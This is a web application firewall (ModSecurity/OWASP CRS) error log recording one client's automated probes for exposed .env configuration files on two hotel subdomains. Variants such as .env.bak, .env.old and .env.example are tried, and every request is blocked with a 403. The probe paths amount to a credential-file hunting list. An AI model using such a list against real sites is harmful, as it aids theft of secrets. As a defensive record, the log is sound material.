[Mon Oct 26 02:27:18.601233 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7yxmVuCUgD8ovs4IEDaQAAABM"]
[Mon Oct 26 02:27:18.661211 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7yxssSJ_JPXSgPpTUCUAAAAA4"]
[Mon Oct 26 02:27:18.661574 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7yxssSJ_JPXSgPpTUCUAAAAA4"]
[Mon Oct 26 02:27:18.662059 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7yxssSJ_JPXSgPpTUCUAAAAA4"]
[Mon Oct 26 02:27:18.710205 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7yxmVuCUgD8ovs4IEDagAAABM"]
[Mon Oct 26 02:27:18.710552 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7yxmVuCUgD8ovs4IEDagAAABM"]
[Mon Oct 26 02:27:18.711028 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7yxmVuCUgD8ovs4IEDagAAABM"]
[Mon Oct 26 02:27:18.841897 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7yxmVuCUgD8ovs4IEDawAAABM"]
[Mon Oct 26 02:27:18.842138 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7yxmVuCUgD8ovs4IEDawAAABM"]
[Mon Oct 26 02:27:18.842476 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7yxmVuCUgD8ovs4IEDawAAABM"]
[Mon Oct 26 02:27:18.919236 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7yxssSJ_JPXSgPpTUCUQAAAA4"]
[Mon Oct 26 02:27:18.919484 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7yxssSJ_JPXSgPpTUCUQAAAA4"]
[Mon Oct 26 02:27:18.919842 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7yxssSJ_JPXSgPpTUCUQAAAA4"]
[Mon Oct 26 02:27:19.004050 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7yx8sSJ_JPXSgPpTUCUgAAAA4"]
[Mon Oct 26 02:27:19.004301 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7yx8sSJ_JPXSgPpTUCUgAAAA4"]
[Mon Oct 26 02:27:19.004615 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7yx8sSJ_JPXSgPpTUCUgAAAA4"]
[Mon Oct 26 02:27:19.028504 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7yx2VuCUgD8ovs4IEDbAAAABM"]
[Mon Oct 26 02:27:19.028753 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7yx2VuCUgD8ovs4IEDbAAAABM"]
[Mon Oct 26 02:27:19.029083 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7yx2VuCUgD8ovs4IEDbAAAABM"]
[Mon Oct 26 02:27:19.149075 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7yx8sSJ_JPXSgPpTUCUwAAAA4"]
[Mon Oct 26 02:27:19.149321 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7yx8sSJ_JPXSgPpTUCUwAAAA4"]
[Mon Oct 26 02:27:19.149604 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7yx8sSJ_JPXSgPpTUCUwAAAA4"]
[Mon Oct 26 02:27:19.178294 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7yx2VuCUgD8ovs4IEDbQAAABM"]
[Mon Oct 26 02:27:19.178523 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7yx2VuCUgD8ovs4IEDbQAAABM"]
[Mon Oct 26 02:27:19.178797 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7yx2VuCUgD8ovs4IEDbQAAABM"]
[Mon Oct 26 02:27:19.275799 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7yx8sSJ_JPXSgPpTUCVAAAAA4"]
[Mon Oct 26 02:27:19.276078 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7yx8sSJ_JPXSgPpTUCVAAAAA4"]
[Mon Oct 26 02:27:19.276328 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7yx8sSJ_JPXSgPpTUCVAAAAA4"]
[Mon Oct 26 02:27:19.299095 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7yx2VuCUgD8ovs4IEDbgAAABM"]
[Mon Oct 26 02:27:19.299262 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7yx2VuCUgD8ovs4IEDbgAAABM"]
[Mon Oct 26 02:27:19.299486 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7yx2VuCUgD8ovs4IEDbgAAABM"]
[Mon Oct 26 02:27:19.477983 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7yx2VuCUgD8ovs4IEDbwAAABM"]
[Mon Oct 26 02:27:19.478246 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7yx2VuCUgD8ovs4IEDbwAAABM"]
[Mon Oct 26 02:27:19.478574 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7yx2VuCUgD8ovs4IEDbwAAABM"]
[Mon Oct 26 02:27:19.526775 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7yx8sSJ_JPXSgPpTUCVQAAAA4"]
[Mon Oct 26 02:27:19.527020 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7yx8sSJ_JPXSgPpTUCVQAAAA4"]
[Mon Oct 26 02:27:19.527256 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7yx8sSJ_JPXSgPpTUCVQAAAA4"]
[Mon Oct 26 02:27:19.599104 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7yx2VuCUgD8ovs4IEDcAAAABM"]
[Mon Oct 26 02:27:19.599364 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7yx2VuCUgD8ovs4IEDcAAAABM"]
